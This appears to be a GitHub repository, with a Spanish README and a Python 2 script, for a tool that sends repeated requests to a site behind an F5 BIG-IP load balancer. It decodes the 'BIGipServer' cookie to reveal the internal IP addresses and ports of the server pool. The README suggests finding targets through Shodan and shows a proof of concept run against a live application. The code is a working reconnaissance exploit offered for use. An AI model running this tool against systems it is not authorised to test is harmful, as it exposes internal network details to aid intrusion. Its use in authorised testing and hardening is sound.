├── requirements.txt ├── screenshot ├── poc_1_tool.png ├── F5BigIPShodan.png ├── docF5_cookie.png └── poc_1_browser.png ├── README.md └── quickCook_v0.2.py /requirements.txt: -------------------------------------------------------------------------------- 1 | progress 2 | netaddr 3 | requests -------------------------------------------------------------------------------- /screenshot/poc_1_tool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ezelf/f5_cookieLeaks/HEAD/screenshot/poc_1_tool.png -------------------------------------------------------------------------------- /screenshot/F5BigIPShodan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ezelf/f5_cookieLeaks/HEAD/screenshot/F5BigIPShodan.png -------------------------------------------------------------------------------- /screenshot/docF5_cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ezelf/f5_cookieLeaks/HEAD/screenshot/docF5_cookie.png -------------------------------------------------------------------------------- /screenshot/poc_1_browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ezelf/f5_cookieLeaks/HEAD/screenshot/poc_1_browser.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [ F5 BIG-IP ] COOKIE REMOTE INFORMATION DISCLOSURE 2 | 3 | Las organizaciones procuran contrarrestar las fugas de información y esto para la mayoría no es ninguna novedad. Estas fugas pueden salir de lugares totalmente insospechados 4 | 5 | 6 | # [+] Cookie leaks: 7 | 8 | Cookies que no nacen dentro de un aplicativo web. En cambio son seteadas por un intermediario, en nuestro caso: El balanceador de la firma F5. 9 | 10 | El balanceador se encuentra entre el cliente y el servicio al que finalmente nos queremos conectar. 11 | 12 | El balanceador define para nosotros (cliente) un host de entre un pool http/apps. 13 | Además de determinar el camino mas optimo, a cada uno de nuestro request se le setea una cookie que al llegar a nuestro cliente trae como valor una IP y PUERTO, ofuscados, que identifica al host (que el balanceador definió para nuestro request ) desde donde llegan los recursos que nosotros inicialmente llamamos. 14 | 15 | 16 | Esas cookies traen valores encodeados y existe una documentación oficial al respecto: 17 | 18 | https://support.f5.com/csp/article/K6917?sr=19342610. 19 | 20 | 21 | ![F5DOCS](screenshot/docF5_cookie.png) 22 | 23 | y un articulo de OWASP que trata el tema: 24 | https://www.owasp.org/index.php/SCG_D_BIGIP 25 | 26 | 27 | Claramente a esta cookie el administrador podra ponerle por nombre lo que desee. Por defecto las encontramos con este formato "BIGipServer". 28 | 29 | 30 | ![F5Shodan](screenshot/F5BigIPShodan.png) 31 | 32 | Equipos para testear no nos van a faltar. 33 | 34 | La tool a la que le dedique un repor es muy simple, ella se conecta a la aplicación web y le pasamos el valor de las cookie para luego correr el decoder y asi identificar la IP. 35 | 36 | Para obtener TODAS las IP del pool es necesario hacer varias consultas y finalmente esa el la mision de la herramienta 37 | 38 | # POC 1: 39 | 40 | Selecciono una de las tantas aplicaciones: 41 | 42 | ![poc1_a](screenshot/poc_1_browser.png) 43 | 44 | 45 | Levantamos la tool: 46 | 47 | ![poc1_a](screenshot/poc_1_tool.png) 48 | 49 | Segun el output de la herramienta, el pool del balanceador cuenta con solo 2 IP, que finalmente sera las unicas opciones a las que internamente seremos forwardeados. 50 | 51 | 52 | # Quick start 53 | 54 | usr@pwn:~$ git clone https://github.com/ezelf/f5_cookieLeaks.git 55 | usr@pwn:~$ cd f5_cookieLeaks 56 | usr@pwn:~$ pip install -r requirements.txt 57 | *** 58 | 59 | ### Uso: 60 | usr@pwn:~/$ python quickCook_v0.2.py --help 61 | usage: quickCook.py [-h] [-v] --host HOST [--ssl] --cookie-name COOK 62 | [--port PORT] [--req REQ] [--uri URI] 63 | 64 | [ F5 BIG-IP ] COOKIE REMOTE INFORMATION DISCLOSURE 65 | 66 | optional arguments: 67 | -h, --help show this help message and exit 68 | -v, --version show program's version number and exit 69 | --host HOST Host 70 | --ssl use ssl 71 | --cookie-name COOK Cookie Name 72 | --port PORT Port 73 | --req REQ Total Request 74 | --uri URI URI path 75 | 76 | [+] Demo: quickCook.py --host 192.168.1.1 --cookie-name "BIGipServerPool_X" --req 50 77 | -------------------------------------------------------------------------------- /quickCook_v0.2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #import sys 3 | import time 4 | import requests 5 | import argparse 6 | import netaddr 7 | from progress.bar import Bar# as Bar 8 | 9 | requests.packages.urllib3.disable_warnings() 10 | class Colors: 11 | BLUE = '\033[94m' 12 | GREEN = '\033[32m' 13 | RED = '\033[0;31m' 14 | DEFAULT = '\033[0m' 15 | ORANGE = '\033[33m' 16 | WHITE = '\033[97m' 17 | BOLD = '\033[1m' 18 | BR_COLOUR = '\033[1;37;40m' 19 | 20 | parser = argparse.ArgumentParser( 21 | prog='quickCook.py', 22 | description=' [ F5 BIG-IP ] COOKIE INFORMATION DISCLOSURE ', 23 | epilog='[+] Demo: quickCook.py --host 192.168.1.1 --cookie-name "BIGipServerPool_X" --req 50', 24 | version="0.2") 25 | 26 | parser.add_argument('--host', dest="HOST", help='Host', required=True) 27 | parser.add_argument('--ssl', dest="SSL", help='use ssl', action="store_true") 28 | 29 | parser.add_argument('--cookie-name', dest="COOK", help='Cookie Name', required=True) 30 | parser.add_argument('--port', dest="PORT", help='Port', default=80) 31 | parser.add_argument('--req', dest="REQ", help='Total Request', default=1) 32 | parser.add_argument('--uri', dest="URI", help='URI path', default="index.html") 33 | 34 | #cookie name 35 | args = parser.parse_args() 36 | 37 | HST = args.HOST 38 | xSSL = args.SSL 39 | port = args.PORT 40 | cookie = args.COOK # cookie name 41 | uPath = args.URI # "index.html" 42 | loop = int(args.REQ) 43 | 44 | 45 | if xSSL: 46 | port = 443 47 | fullHost = "https://"+HST+":"+str(port)+"/"+uPath 48 | else: 49 | fullHost = "http://"+HST+":"+str(port)+"/"+uPath 50 | 51 | def makeReqHeaders(host): 52 | headers = {} 53 | 54 | headers["Host"] = host 55 | headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.1) Gecko/20100101 Firefox/52.0" 56 | headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" 57 | headers["Accept-Languag"] = "es-AR,en-US;q=0.7,en;q=0.3" 58 | headers["Content-Type"] = "text/html" 59 | headers["Connection"] = "close" 60 | return headers 61 | 62 | 63 | def getCookie(srchCookName): 64 | if xSSL: 65 | r1 = requests.get(fullHost, headers=makeReqHeaders(HST),allow_redirects=False, verify=False ) 66 | else: 67 | r1 = requests.get(fullHost, headers=makeReqHeaders(HST),allow_redirects=False) 68 | 69 | headerSrv = r1.headers["Set-Cookie"].split() 70 | for xCooks in range(0,len(headerSrv)): 71 | 72 | srvCook = headerSrv[xCooks].split("=") 73 | 74 | #print " cookies "+str(srvCook[1]) 75 | if srchCookName == srvCook[0]: 76 | decIp = srvCook[1][:-1] 77 | getIP = decIp[:-11] 78 | ipLeaked = str((netaddr.IPAddress(getIP))) 79 | fuck = ipLeaked.split(".") 80 | fuck.reverse() 81 | ip_final = '' 82 | count = 0 83 | 84 | for item in fuck: 85 | ip_final += item 86 | if count < 3: 87 | ip_final += '.' 88 | count += 1 89 | 90 | rawPort = str(srvCook[1].split(".")[1]) #str(srvCook).split(".")[0] 91 | cookieHex = hex(int(rawPort))[2:] 92 | portHex = (cookieHex[2:] + cookieHex[:2]) 93 | portDec = int(portHex,16) 94 | 95 | portX = portDec 96 | 97 | leaked = Colors.WHITE+" | "+Colors.GREEN + decIp +Colors.WHITE+ " \t | "+Colors.ORANGE+ ip_final +Colors.GREEN+ " : "+Colors.BLUE+str(portX)+Colors.DEFAULT 98 | 99 | return leaked 100 | else: 101 | continue 102 | 103 | hCode = r1.status_code 104 | #return " | ----------------------------- | -------------------------" 105 | return " | ---------- [ "+str(hCode)+" ] ---------- | -------------------------" 106 | 107 | 108 | print "\n" 109 | print " [+] host/ip: \t\t"+HST 110 | print " [+] Port: \t\t"+str(port) 111 | print " [+] Cookie name: \t"+cookie 112 | print " [+] Total Request: \t"+str(loop) 113 | 114 | 115 | tblHead = ''' 116 | +-------------------------------+---------------------------------------+ 117 | | Cookie value \t\t | < '''+Colors.ORANGE+'Host'+Colors.DEFAULT+''' > : < '''+Colors.BLUE+'Port'+Colors.DEFAULT+''' > \t\t | 118 | +-------------------------------+---------------------------------------+''' 119 | #+------------------------ 120 | 121 | tblFoot = ''' +-------------------------------+---------------------------------------+ 122 | ''' 123 | #h3ader = [] 124 | print "\n" 125 | bar = Bar(' [+] REQUEST', max=loop )#, suffix='%(percent)d%%') 126 | nReq = [] 127 | for i in range(0,loop): 128 | bar.next() 129 | h3ader = getCookie(cookie) 130 | 131 | strHead = str(h3ader) 132 | # // ------------------------------------ // 133 | #if strHead == "None": 134 | # h3ader = strHead 135 | 136 | 137 | time.sleep(.5) 138 | nReq.append(h3ader) 139 | bar.finish() 140 | 141 | listcook = set(nReq) 142 | print tblHead 143 | 144 | for ck in set(listcook): 145 | print ck 146 | 147 | print tblFoot 148 | --------------------------------------------------------------------------------